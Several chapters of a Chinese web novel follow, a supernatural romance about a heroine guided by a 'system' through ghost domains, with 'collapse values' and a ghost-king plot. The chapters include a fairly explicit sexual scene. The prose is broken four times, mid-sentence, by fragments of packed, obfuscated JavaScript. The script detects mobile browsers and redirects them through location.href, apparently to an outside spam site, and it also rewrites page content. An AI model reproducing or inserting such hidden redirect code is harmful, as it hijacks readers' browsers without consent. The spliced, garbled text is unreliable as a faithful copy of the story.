“上千年的东西,早就看不清楚了。但是那上面的纹路,还可以勉强摸索辨认。” 林月诀回答, “在刚才的那个鬼域里,出现了终魇鬼域里那个封印的样式。” 他说。 越珑眼中的怀疑还未完全消散,但敌意确实已经减弱了不少。 “是,这意味着,终魇鬼域正在用这种方式,削弱封印的力量。” 她的声音凝重。 木灼青的神情也显得有些焦虑,显然她很清楚这意味着什么。 理论上来说,不知道这些的“普通学生”,只有闵朝言和顾羽。 但这些东西闵朝言早通过剧情和系统知道了,唯一全场无知的,只有顾羽而已。 闵朝言的视线投向顾羽。 从离开鬼域开始,他什么话也没说过, 这不太对。 闵朝言觉得。 或者说,从离开鬼域之后,顾羽没有有意无意见缝插针地往她身边凑开始,事情就有点不太对了。 “你怎么了?” 她说着,抬手要去拉顾羽。 然而,顾羽却猛地后退了一步,眼中流露出一点惧意。 闵朝言的手停在半空中, 她的眼睛微微睁大了,显然没有想到他会是这个反应。 有一天,顾羽居然会拒绝她的接近? 闵朝言说不出来自己现在是什么感觉,她觉得很烦闷,又不仅仅是烦闷。 想扇顾羽一巴掌,又想问问他为什么。 “朝言,对……对不起。” 顾羽后退了一步,他的手掌紧紧攥着自己另一边手腕,手背青筋突出,闵朝言都能听见他把自己的骨节捏得“噼啪”直响。 闵朝言没说话, 她也不知道现在开口该说什么。 生命中第一次, 她发现自己是一个连说话也并不擅长的人。 “给我点时间,好吗?” 顾羽看着她的眼睛,声音很轻,那双杏眼里漫起一股水气,他几近祈求地看着闵朝言,像是等待审判的罪人。 闵朝言没有说话。 她不想回答。 「男二有病吧!敢这么对你!」 系统气呼呼的。 ‘不重要。’ 闵朝言收回目光,低声回答。 「我看着就生气!难怪他只能当配角!」 系统不高兴地嘟嘟囔囔。 ‘现在的剧情走到哪里了?’ 闵朝言问。 「前置剧情都走完了,越珑组成了自己的团队,发现了封印松动,鬼王出世的危机。我们已经完成了七个剧情点了!」 系统回答。 ‘崩坏值呢?’ 她问。 「我看看。越珑还是那样,木灼青……!天呐,她的崩坏值还涨了?顾羽也是!他还敢涨?他有什么可涨的!」 系统大惊,随后大怒。 闵朝言感觉到了,它就是看顾羽怎么都不顺眼。 为什么? 她不理解。 闵朝言眼前此刻浮现出三块光幕,分别是三个角色的崩坏值: [越珑] [主角] [崩坏值:99] [木灼青] [女二号] [崩坏值:67] [顾羽] [男二号] [崩坏值:91] 怎么会这样? 闵朝言不由发出了和系 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16580292|182368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 统一样的疑惑。 完成了七个剧情点之后, 让整个副本基本回归了“正轨”走向之后, 不仅主角的崩坏值没有降低,甚至重要配角的崩坏值全部猛涨了!? 怎么可能?! 闵朝言简直要被气笑了。 「闵朝言,你快看看吧……这个更完蛋了。」 系统有气无力地说。 第四块光幕浮现在闵朝言眼前。 [鬼将·瞬嵐/林月诀] [男三号] [崩坏值:100] ……100? 崩坏值满值?! 闵朝言猛地抬起头看着林月诀,她的眼睛不自觉瞪大了。 “怎么突然这么盯着我,难道是被我迷住了?” 林月诀察觉到闵朝言的视线,笑了一声,走过来,从背后抱住她,那双唇瓣柔柔吻过她耳尖,声音很轻: “有些话,只有我们两个人的时候,再偷偷说。” 他大概以为闵朝言惊讶的,是他自称捉鬼人这件事。 但他不知道,闵朝言现在根本没有心情去在乎他嘴里又扯了什么真真假假的慌,也无意再去品味他那些甜腻中带着一点涩气地挑逗。 她惊讶的只有一件事: 崩坏值满值的林月诀,现在居然还“存在”着。 「不对,怎么可能呢?怎么会是这样?是不是我的系统测算错了?肯定是,肯定是!」 系统不可置信地重复计算,可是每一次的结果都是一样的。 满值, 崩坏满值, 崩坏值,满值! 在系统的数据库里,清清楚楚写明了,副本的本质虽然是小宇宙,却是一个残缺未完成,濒临崩坏的小宇宙。 在这样的小宇宙里,所有的存在,即“角色们”,都必须依照已经被设计好的剧情前行。 一旦角色偏离剧情,那么就是“崩坏”。 当角色无可逆转地走向了偏离剧情的道路时,崩坏值满值的角色会被小宇宙的力量彻底抹除。 而当主角也彻底“崩坏”时,小宇宙的力量会抹除主角,自身也走向泯灭和坍塌。 数据库里, 是这么说的。 系统是这样相信的, 也是这样告诉闵朝言的。 但是,但是, 此刻,一个已经崩坏值满值的角色,却活生生地就在闵朝言面前蹦跶,甚至偷偷拉着闵朝言的手,让她摸了一下自己的腹肌。 啊,手感还可以。 闵朝言心想。 但这不是正题! 她晃晃脑袋,尽力让因惊讶而恍惚的神情正常起来。 “朝言,你还好吗?是不是我说得太严重了?” 越珑走过来扶住她。 越珑刚才说的什么来着? 闵朝言有点懵。 「她解释了一下世界观,鬼域鬼王之类的,说现在的大危机是新鬼王的出世。」 系统蔫哒哒地提醒闵朝言。 “没关系。” 闵朝言看着越珑,唇瓣张合几次,终于还是问: “那,你打算怎么办?” 越珑的视线停滞在闵朝言脸上,良久,才缓缓说出自己的回答: “我会杀死鬼王,重新封印终魇鬼域。” 是啊,剧情里就是这么安排的, 这个副本的命运本就是被这样设置的。 越珑会识破鬼王的伪装,然后亲手杀死她。 本来……就该是这样的。 叮—— [检测到剧情节点已完成!] [节点内容:越珑立誓杀死鬼王,守护人间] [恭喜任务者!] 45. 校园鬼域(24) 闵朝言看着越珑的眼睛,没有说话。 她不知道自己现在是什么感觉,故事向着原本剧情中的方向发展了,她作为任务者的工作完成了,这难道不是好事吗? 可闵朝言不觉得自己现在的心情,和“快乐”有任何关系。 她不开心,也不满意, 明明越珑现在正按照她的规划在前进。 她…… 却并不喜欢这个发展。 “别怕。” 越珑握着她的手,垂下眼,深呼吸着。 在越珑手中,长刀的虚影凝实,随后向后狠狠掷去——那是林月诀的方向。 “哇,我都说了和我没关系,你这是对我有偏见。” 林月诀侧身躲过刀光,衣角却被削了一片下来,他脸上的笑意渐渐淡去。 “我想起来你是谁了,林老祖。” 刀光在空中回旋一圈,又回到了越珑手上,她眼中带着深深的忌惮, “你的确是捉鬼人没错,而且,你是一个天才,当年的名声,比起我越氏的那位祖先,也不逊色。可惜,最后你成了人类的叛徒!” 越珑一字一句地说着,握紧了手中的大刀,满是忌惮。 “你连名字都没有改,是相信这个世界已经忘记你了,还是担心这个世界已经忘记你了?” 她开口问。 林月诀看着她,忽然笑出声来,那双黑白分明的眼中,漆黑无光的瞳孔向四周蔓延,吞噬了眼白,只剩下一片死寂的黑色。 “这世界早就已经忘记我了,连你们越氏……也一样。” 他低声说。 烈日被浓重的云层遮住,暗红色的光晕顺着浓重的树影投下,仿佛一场血腥的雨。 四周的温度升腾起来,温暖甜腥的空气蔓延,让喉间都黏腻起来。 鬼域入侵现实。 但比起刚才教室里的小打小闹,此刻的入侵,当真有种“末日降临”的恐惧感。 “林月诀!你曾经也是人类!” 越珑看着眼前的景象,瞳孔缩紧,厉声道。 林月诀的鬼域很大,就意味着,他能通过入侵“吃掉”的人类,也很多。 如果他真的是鬼王, 那么,整个川阳大学里所有的师生,都可能被他拉进鬼域当中去! “每只鬼曾经都是人类。” 林月诀笑着回答。 他的视线越过越珑,落在闵朝言身上,神色居然有些少年人俏皮,对着她眨了眨眼。 下一秒,天地彻底被红色浸染。 操场、教学楼、连同着所有的树木尽数消失,化作红色的蝴蝶散去,闵朝言站在原地,抬手抓住一只, 那红色的蝴蝶在她手中消融,变成一滩温暖的血液。 闵朝言和众人再次分散了, 她独自一人站在街道上。 林月诀…… 他到底想干什么? 眼前的景象俨然是一片炼狱,被浓重黑雾遮住的太阳,明明是白天,眼前却只有模糊的昏暗光线,街道上挂着红色的灯笼,蜡泪将笼纸烫伤,露出被熏得焦黑的竹制骨架。 街上几乎没有行人,只有穿着官差衣服巡逻的差役,他们几人挤作一群,后背互相贴在一起,战战兢兢从路面前小跑着过去。 他们个个瘦骨嶙峋,面色青白,视线颤抖着偏移,眼下有着很重的乌青,这是长期焦虑惊惧之人才会有的面相。 这是哪里?这一切又是怎么回事? 闵朝言缓缓皱起眉。 在一片寂静无声中,一只黑色的爪子从阴影中伸出,狠狠向闵朝言冲去! ——钲! 长剑抵住利爪,金属与骨爪摩擦,发出刺耳的声音,那长剑一转,扭出一个利落的剑花,寒光闪烁间,黑色骨爪哀嚎一声,被斩落在地! 那无主的断爪在地上挣扎着爬行,不出半息,便溶化成一滩血水。 “你是哪家的孩子?不知道城中宵禁吗!?独自出门,你知道多危险吗!” 那长剑的主人匆匆赶来,将长剑收入剑鞘,厉声对闵朝言说: “如今鬼域泛滥,寻常人等,还是不要出门的好。” 闵朝言没说话,她忍不住目露惊讶。 “你、你看什么?” 对方在她毫不偏移的视线中,耳朵渐渐红了。 “我说的你听没听见?” 闵朝言从没想过,这张脸也可以这样满是少年风华的意气风发,挑眉启唇时,满是生机盎然,正气凛然。 “我是外乡人,不知道这里的规矩。” 闵朝言说。 “……別找借口了,现在哪里还有外乡人了。苦城已经是最后一片还有人类存活的地方了。” 对方的脸色黯然下来,看着闵朝言, “你不必害怕,我不会将你送官的,快些回家去吧。” 这下闵朝言沉默了,她低下头,许久才轻声说: “我没有家可以回。” 这句话是真的, 不管在这个鬼域里,在这个副本里,抑或者是任何别的地方, 闵朝言其实从来都没有一个可以称之为“家”的地方,可供返程。 她没有过去,没有家人,没有记忆, 只有不知往何处前行的未来。 “……抱歉。” 对方愣了一下,似乎有点懊悔地挠了挠头, “也是,这个世道,如果不是家里没人了,你也不会自己出来到处走了。” 他似乎将闵朝言当作失去亲人之后,绝望出门自寻死路的可怜人了。 闵朝言倒是没纠正他的认知。 她依然沉浸在一种既新鲜又惊奇的兴趣里。 这张脸居然能露出这样正直又直白的神情来! 她还以为那种甜腻腻黏糊糊的姿态是他与生俱来的呢。 “在想什么呢,表情简直像只小猫。” 她身后贴上一具没有任何温度的身躯,耳尖被那柔软而冰凉的唇瓣含住,用牙齿不轻不重地碾压着,像是暧昧的报复。 闵朝言睁大了眼,下意识去看那个持剑少年的反应。 “别担心,他看不见我,在这里,只有你能看见我,也只有你能感受我。” 冰凉的大掌握住闵朝言的腰,低声喟叹着。 “在这里,我只属于你了。” 他说。 闵朝言没说话,她回头看看拥住自己的林月诀,又看看对面的持剑少年,眼珠子转来转去,难得显出一种孩子气的灵动来。 “哇哦。” 她最后只说。 “嗯?你不舒服吗?也对,在这种地方自己走久了,一定会难受。既然你无处可去,就先和我回去吧。” 持剑少年看着闵朝言,还没说两句话,脸颊又隐隐泛红。 “我并无冒犯之意,姑娘不必担忧,我是镇守此处的捉鬼人,他们都认识我的!” 看上去只有十几岁的少年五官尚且青涩,神情却已然是一副坚毅模样, 他拍了拍自己的长剑,扬起一个自信的笑容: “我叫林月诀,总有一天,我会斩杀鬼王,还天下一片光明!” 闵朝言看着他,身后传来一声轻笑, 那是千年后的林月诀,在笑。 - 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16583115|182368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >顾羽不知道自己在哪里。 也许是地狱,也许是正在凋零的人间。 他站在火里,火花在他身上噼啪炸开,那青白色的肌肤上却没有一点痛感浮现。 为什么会这样? 顾羽不知道。 他不知道的东西太多了, 多到他甚至都不再认识自己。 顾羽抬手摸着自己的手腕,他已经感受不到温度,呼吸似乎变得可有可无,似乎即便就这样停止了,也无所谓。 闵朝言不在他身边,这让他下意识松了一口气,他不知道该如何面对她。 顾羽不怕死,他的人生中从来缺少恐惧这一味调味料。 直到这个瞬间,那些曾经稀缺的恐惧尽数出现,密集汹涌,如同潮水一般疯狂地将他淹没。 顾羽跪在地上,跪在火焰当中,在影影绰绰的火光之外,是人群的声音。 “杀了他!他是鬼!” “杀了他!就是他把鬼带到人间来的!” “杀了他!杀了他鬼就不会找上我们了,我们就安全了!” 他们说的是真的吗? 顾羽低下头,一片昏暗摇动着的红色中,他看着自己的双手,那上面仿佛空无一物,又仿佛盛满了鲜血。 真的吗? 我是……鬼吗? 刀光斩断火焰,顾羽被一只手粗暴地拉了出来,他身上被绑着厚厚的铁链也随之哗啦哗啦地响。 顾羽没有挣扎,但他心中却隐隐有种感觉,如果他想,这比人手腕更粗的铁链,根本就困不住他。 “你救他干什么?他已经要化尸了。” 一个温吞怯懦的声音说。 顾羽惊讶地抬起头去。 “就是因为要化尸了才得试着救他,不然天下人化尸了,都通通烧死吗?” 一个中气十足的声音说,手上还晃了晃连着顾羽的链子。 这两个声音,顾羽都认识,在之前的一周里,他几乎天天听到。 “越……?” 顾羽看向说话人。 那是一个很高的女性,长相普通,说不上好看,也绝不算难看, 她身穿轻铠,手持大刀,浅麦色的肌肤覆盖着精壮有力的肌肉,眼神明亮而专注,如同鹰隼一般,直直锁定顾羽。 “你认识我?我叫越瞿,是个捉鬼人,这是阿青,我的同伴。” 越瞿爽朗一笑。 她的长相和越珑别无二致,只是眉眼间多一些生死淬炼出的狠戾坚毅,眼下有一道并不明显的疤痕。 “我,不知道。” 顾羽低声说。 “没关系,化尸之后的人往往会忘记很多事情,等你好了,就能想起来了。” 越瞿说。 “总之,你要小心啊。” 和木灼青长相一般的阿青出声了,她看着越瞿,有点不满: “即使想要救人,也不能把自己置于险境啊。” “若是安全的地方,人们怎么还会需要我们呢?” 越瞿朗笑一声,拍拍阿青的肩膀, “走吧,我约了林家小子,一起研究研究,能不能把化尸的过程逆转。” 她语重心长地说, “要是我们能知道逆转化尸的办法,有好多无辜的人,就不用死了。” 化尸? 我? 顾羽看着自己青白色的,已经毫无活人气息的手掌,心中的惶恐与惊惧却尽数褪去了。 “如果,没有办法呢?” 他低声问。 没有办法的话, 他还能回到现实, 回到,她身边吗? 46. 校园鬼域(25) “林月诀”的家是一个很小的院子。 他看上去是个贵公子出身,但其实生活很质朴,连院子里的水井都是自己挖的。 他将闵朝言安置在主房里,又找出来了一床虽然并不崭新,但洗得很干净的被褥。 和朴素的环境不同,这套被褥很华丽,上面甚至还有用金线和珍珠绣制出的花样纹路。 和闵朝言嘱咐了至少几十遍不要出门之后,“林月诀”起身离开了,他看上去很忙,大概是为了救世在辛苦奔波。 “哇,看来‘我’真的很喜欢你。你可是唯一一个盖过这条被子的人。” 林月诀出现在闵朝言身后,拥着她,声音轻快地说道。 闵朝言看了他一眼。 “我原先是富商家的公子,不愿走仕途,偏要去做捉鬼人。 父亲大怒,将我逐出家门,临行之前,母亲把这套被褥放进我的行装里,这是她为我绣的,原本,是要做我未来妻子的聘礼之一。” 林月诀说起很久之前的过去,漆黑无光的瞳孔中闪过一点笑意,又很快消融了。 “我离家不到半年,家乡被鬼域入侵,没有人能抵御这场灾难,于是,那里就什么也没有了。” 他的家,亲人,和过去, 都没有了。 闵朝言没说话,冥冥之中的,她觉得,自己似乎并非完全不懂那是什么感觉。 过去,亲人, 都消失不见的感觉。 “我一路杀鬼,一路救人,杀了很多鬼,却没救下多少人。鬼域越来越强大,吞吃着人类。我来到了苦城,想找那个天才捉鬼人越瞿,一起,把鬼王杀了。” 林月诀说着,轻吻着闵朝言的后颈。 “不过,后来呀……” 叹息淹没在吻里,汇聚成一片带着泪意的亲密,林月诀将脸颊埋在闵朝言肩膀处,冰凉的手指与她交扣。 闵朝言感觉到自己的手指也逐渐冰凉,指甲呈现出一种浓郁的黑来,她下意识皱紧了眉头。 “你想要维持人类的形态吗?” 林月诀看出了她的想法,低声问。 说话间,他冰冷的吐息在她颈间溢散,犹如蛇类长舌在上面划过。 “嗯。” 闵朝言点头。 越珑也在这个副本里, 暂时,还没到闵朝言打算和她坦诚一切的阶段。 鬼王的身份暴露之后,越珑就会视她为敌人了。 曾经那样理所当然毫不在意的事情, 此刻居然会让她感到抗拒,下意识逃避。 感情真是无用又无法抵抗的东西。 闵朝言想。 “幻境里没有阳气供你吸取,但我这里,还有一点点。” 林月诀笑盈盈看着她。 此刻,他那双饱满的唇瓣微张,如同即将盛放的花瓣,正在渴望着被采走最甜蜜的部分。 “你自己来取,好不好?” 比尾音更快落下的是吻,闵朝言的双唇还带着一点残余的温热,此刻尽数覆上林月诀已经冰凉的唇。 凉而软,像冰麻薯。 闵朝言想。 鬼的身体冰凉,但欲·望的火焰公平地炽热着,燃烧理智与矜持。 闵朝言也说不清自己是为了单纯地获得阳气,抑或者这个吻当中还有什么别的东西。 林月诀的头发散落在她肩膀,如墨一般的漆黑,在她白皙的指节间缠绕蔓延,永不餍足的蛇寄生在在这世界唯一的,能给予他欢欣的所在。 “唔……” 唇舌分开,闵朝言仰躺在那用珍珠和金线绣制的被面上,珍珠被压入棉花的缝隙中,又倔强地用一点坚硬彰显着自己的存在感。 唇,吻,一路向下,林月诀现在仿佛成了一个瞎子,只能用自己的唇舌和手掌来确定她存在着。 他本就是一个极惑人的美人,仿佛真的用蜜糖浸润雕刻而成,现在正执着地将自己身体中的甜味传递给她。 那由锦缎真丝织成的被面光滑如水,起伏荡漾,闵朝言闭上眼,随着水波涌动的节奏沉浮,她的手指绞紧了那颗珍珠,用力,更用力—— 破碎的浪涌袭过,潮水淹没了珍珠。 闵朝言大口喘着气,即使她不需要空气,林月诀凑上前来亲吻着她的锁骨,和一路起伏的山峦。 “好甜。” 他的声音里带着笑,还不知足地用舌尖舔过湿漉漉的手指,水光淋漓,一路向下,划过肌肉劲瘦紧绷的小臂。 闵朝言倦懒地垂下眼,小腿勾住他,在腰腹间不紧不慢地踩过两下。 ——呼。 林月诀不自觉地绷紧。 “嗯,那还吃吗?” 闵朝言看着他,神色里带着一点挑衅的笑意: “换一种方式。” - 顾羽被带到了一个茶馆。 说是茶馆,其实也只是一个陈旧的小店罢了,里面应该已经很久没有什么生意了,连店主也放弃了这里,只留下一个空壳。 说实话,他还是没有完全理解,自己身上究竟发生了什么,就像他也不知道,“越瞿”和“阿青”,到底是不是越珑和木灼青。 如果不是的话,为什么她们长得一模一样? 如果是的话,为什么越珑和木灼青进入副本之后就失忆了,而他却没有? 难道和“化尸”有关么? 顾羽想不明白这些关窍,在一周之前,他甚至都不知道“鬼域”的存在,在现在,这已经是他进入的第三个鬼域了。 越瞿对他的态度还不错,给他到了一杯茶,阿青则是毫不掩饰地厌恶着顾羽,一路上没有和他说过一句话。 不过,顾羽也并不生气, 他本来就是不在乎别人的人,别人的好坏都如此。 “我来了!抱歉,路上有点事。” 一个声音传来。 顾羽觉得很耳熟,但是又不太对劲。 有点像那只骚狐狸的声音,但是骚狐狸会这么正气凛然地说话吗?那个死夹子声音都快虚成斜虚线了! 顾羽抬头看去,不由得睁大了眼睛。 靠, 还真是! 但是又好像有点不一样。 他心想。 长相上,自然是差不多的。即使是处处看林月诀不顺眼的顾羽,也必须承认,骚狐狸长了一张好脸。 林月诀五官是最正统的俊美柔和,气质却又带着一股子惑人魅意,多一分过妖,显得太过妖冶,少一份过正,就会变得无趣寡淡。 那种完完全全刚刚好,介于妖魅与寡俊之间的感觉,才是林月诀最棘手的地方。 而眼前这人,虽然五官模样别无二致,气质上却极正,只有俊美,没有魅意,看上去简直…… 尽管顾羽并不想要这么形容,但也的确没有别的词可以用了: 是个好人。 “没事,现在鬼域入侵,你一路杀鬼,路上有点耽搁很正常。” 越瞿点头,并不计较这些。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16590037|182368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 除了更为稳重坚毅之外,又年长几岁之外,她和越珑的性格几乎别无二致。 “你想好了吗?” “林月诀”问。 “杀鬼王是大事,我们不能贸然行动,有可能,我们都会有去无回。” 越瞿的神色很严肃。 “我不怕死,难道你怕?” 听到这个回答,“林月诀”挑眉。 “怕死谁做捉鬼人啊?只不过想在死之前,再为了这千疮百孔的天下,多做点什么。” 越瞿哈哈大笑,给“林月诀”倒了一杯茶。 这茶是放了多年的陈茶,味道很不好,喝得“林月诀”的五官都下意识皱巴了起来。 “你看看,还是个孩子呢,说什么生生死死的。” 越瞿说。 “我不是孩子了!而且,我不怕死!” “林月诀”重重放下茶杯,声音果决: “如果我们都贪生怕死,那么只会有更多、更多比我还小的孩子也无辜死去!” 他尚显青涩的脸上,没有一丝犹豫,已然是决心已定。 看着他的表现,顾羽心中竟然有些震动。 难道,林月诀真是个好人? 不,不对。 顾羽又想起在进入鬼域之前发生的事情。 越珑明明说了,林月诀是个叛徒!而且,他现在身处鬼域之中,莫名其妙变成化尸,难道不正是林月诀搞出来的事吗?! 顾羽低下头,暗暗咬牙。 就算这只骚狐狸青年版本来是好的,后面也肯定发生了什么事情,让他变了! “还未必就两个人都要死呢。” 阿青小声说了一句,又道: “先说化尸的事情吧。” “对,一打岔,把这个给忘了。” 越瞿一笑,指着被绑在了另一桌的顾羽: “林小子,你看看他。” “叫我名字就好了,我也没比你小几岁!” “林月诀”不满地说了一句,起身走向顾羽,随着二人间距离拉近,他眼中惊讶之色越发浓厚: “你从哪弄来了一具不发疯的化尸?!” 提起这个,越瞿眼中有了点得意之色: “就在苦城边界的村子里,那些村民要烧死他,我却见他似乎还有几分人性残留,于是出手救下了他。” “救化尸?真有你的。” “林月诀”嗤笑一声。 “鬼域入侵人间后,那些浓重怨气侵染了活人,让许多无辜活人变作化尸,失去意识理智,只会攻击他人。人们为了自保,不得不烧死这些化尸。” 越瞿的声音中带着叹息, “但化尸原本也是活人,并没有真正死去,也许,我们能找到逆转化尸的办法,这样,能救下很多并不该死的人! 我之所以没有马上同意,与你一起去死战鬼王,也正是希望能先找到逆转化尸的办法,这样,即使我们俩都回不来了,也能为人间留下一丝希望。” “林月诀”听着听着,也逐渐沉默了,久久,他重重点头: “你说得对,如果能救下那些无辜被怨气侵染的人,我们必须要尝试。” 他又问:“但是,我们该怎么做?” 三个“活人”的目光齐齐投向坐在板凳上的顾羽,双眼放光。 …… 顾羽默默地低下了头,有种不妙的预感。 该死的, 不会在副本幻境里被剖开做实验吧?! 47. 校园鬼域(26) 闵朝言是被烫醒的。 有什么极其滚烫的东西涌入她的骨髓,远比岩浆灼热,疯狂,不可阻挡。 「闵朝言?闵朝言!?」 系统急促呼唤着她的名字。 闵朝言猛地坐起身,身后湿漉漉一片,汗液浸透里衣,此刻冰凉地贴在她身上。 她睁开眼,眼前又是一片陌生的景象。 这里不是“林月诀”的房子。 这里是, 某种“巢穴”。 温暖而湿润,恍若实质的空气紧紧包裹着她,抬手时那拥在肌肤上的触感,恍惚之间像是拥抱,又仿佛太过久远,即将消散的爱抚。 这是哪里? 闵朝言抬起头,看着一片天空。 天空原本是黑色的,无数深红的丝线在巢穴上方交织,织结成浓重红色的网,那上面的纹路扭曲而癫狂,仿佛一张处处是缝隙,又根本没有一处可以逃出去的盖子。 闵朝言抬手,红丝上浓稠的血色液体滴落在她掌心。 青白,透明,没有一丝生命气息的手掌心。 ‘怎么回事?’ 闵朝言握拳。 「昨晚上你睡着睡着就进入深度昏迷了,我怎么也叫不醒你,然后突然之前你就到这里了!而且,而且……」 系统语气不安。 ‘而且,我化尸了。’ 闵朝言垂下眼,不必系统提醒,她也能感受到自己身体内此刻涌动着的浓厚阴气。 ‘林月诀呢?’ 她问。 她昨晚上把林月诀折腾得不轻,怎么一醒过来人(鬼?)就不见了。 他还有力气跑? 「我不知道,他……好像消失了。我连他的能量波动都检测不到了。」 系统的声音里有点疑惑。 之前因为对林月诀的出现充满了戒心,系统特意监控了他的能量波段,一直都有留心。 闵朝言没有再问, 她低下头看着自己的掌心, 她变得强大了, 那些由副本设下的禁锢尽数消失不见,她再次感受到身体内被力量充盈的感觉。 直到现在,闵朝言才知道“鬼王”这个身份,到底意味着什么。 强大,无所畏惧一切的强大; 和…… 饥饿, 无法被满足的饥饿。 喉间仿佛有火焰灼烧,闵朝言觉得自己迫切地需要一切东西,来替她承受这火焰。 「我们接下来怎么办?」 系统问。 闵朝言没说话,她抬手摸上自己的喉咙,指甲划破血肉,挑出喉管,动作轻巧,似乎她只是在摆弄着一条项链。 好奇怪, 明明感觉那么热, 怎么摸上去却是凉的? 闵朝言漫无目的地想。 「闵、闵朝言?闵朝言!」 系统吓了一跳,小声呼唤她。 ‘我在想了。’ 闵朝言回答。 过量的阴气动摇着理智,闵朝言感觉自己的大脑又回到了喝下第一瓶啤酒的时候,有点晕,有点轻飘飘的。 原来阴气和酒精是很相似的东西。 饿, 很饿。 闵朝言闭上眼,温暖的空气中,红色的丝线交错,缠绕在她身上,红线上的湿润液体也就这样深深勒紧她的肌肤中,浸润进去。 它们源源不断,永不干枯。 继续, 不够, 更多! 钲——! 一条红线被斩断, 无数条红线被斩断。 谁?! 闵朝言猛地睁开眼,两道寒光闪过,巢穴裂开一个口子,无数的红线疯狂地向那里涌去,想要修补缺口,想要吞噬那竟敢在此留下缺口的人。 门外,是两个人形站立的影子,闵朝言很慢地眨了眨眼睛,在已经不甚清醒的大脑中寻找着相似的痕迹。 越…… “鬼王,受死!” 比记忆更先袭来的是少年的喊声,长剑挥舞着向闵朝言袭来,那上面的光太锋利,斩断了红丝,来到闵朝言眼前。 又在她眼前一瞬停住。 “怎么……是你?” 持剑少年不可置信地停下了动作,被瞬间受力的剑身疯狂摇动着,在他手掌挣出裂痕,鲜血随之滴滴答答落下。 那些落下的鲜血没有在地面上碎裂,它们凝结成新的红线,如同欣喜的新生儿一般,向闵朝言蠕动着爬去。 啊,她想起来了。 闵朝言轻声说: “林月诀。” 少年捉鬼人林月诀站在原地,一瞬间只觉得手中的剑竟有千斤万斤沉重。 闵朝言站在原地。 她只穿了一身里衣,面孔比布料更加苍白没有血色, 在那犹如青瓷白玉般的肌肤上,有无数暗黑色的红线束缚包裹着她,那些暗红色的液体点点绽开,是破碎的花和心脏。 “为什么,会是你?” 他的声音颤抖着,手中长剑亦如是。 闵朝言静静地看着他,没有回答。 “你们认识?” 一个女声传来,大刀斩断红线,她大步走近。 闵朝言的瞳孔缩紧,她下意识地想要转变自己的形态,或者干脆躲藏起来,然而,除了无穷无尽的红色之外, 鬼王的巢穴里什么也没有。 “越……” 闵朝言下意识后退了一步。 “越瞿,我认识她,她不会是鬼王的!说不定是鬼王抓过来,故意迷惑我们的!” 林月诀迅速说着,抬手剑花一挽,站在闵朝言身前,挡下刀光。 “我们没有时间了。” 被称为越瞿的女人声音急促而坚定: “宁可错杀,不能错放!她如今这个样子,怎么可能是人类?!化尸是不可逆的,我们已经尝试过无数次了,不是吗!?” 闵朝言依然没有说话,她的目光依然凝在“越瞿”身上。 这个叫做越瞿的人, 不认识她。 不是越珑, 看到这一切的,不是越珑。 她默默松了一口气。 人类会躲避自己不想面对的事情,即使这样做只会带来更大的麻烦和问题。 闵朝言知道,这叫做: “逃避”。 “越瞿!即使,即使她是化尸!即使化尸是不可逆的!” 林月诀的声音中带上一股悲愤,一字一句: “可你不也没杀阿青吗?” 阿青? 木灼青吗? 闵朝言尝试从她们的争执中获取信息。 “那不一样!” 越瞿怒喝一声,大刀寒光直冲闵朝言而来: “如果杀了鬼王,也许阿青的化尸就能恢复了!” 她已杀红了眼,身上脸上都是血迹,眼角的水痕,闵朝言分不清是血还是泪。 一瞬间, 闵朝言仿佛看见越珑手持大刀,自鬼域中浴血而出的模样。 “越珑。” 闵朝言低声说。 她就是越珑, 也许她自己忘记了, 但她还是越珑。 闵朝言没有后退,没有躲避, 大刀落下,斩断了束缚在闵朝言身上的红线, 刀刃落地,刃齿崩裂,在地面上闪烁着金属色光芒。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16593303|182368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“越瞿”跪倒在地上,她脸上的血痕混着泪水落下,在地面上砸出破碎的花。 “……幻境,这都是幻境。” 闵朝言听见她低声说着,像是在说给自己。 “这是林月诀的鬼域幻境,他才是鬼王,他利用幻境,洗去了我们的记忆,让我们自相残杀!” 越珑抬起头,眼中泪光落下,看着闵朝言,唇瓣颤抖着: “阿青,和顾羽,都变成化尸了。她们被鬼域的怨气侵袭了……” 她看着闵朝言, 像是在求救。 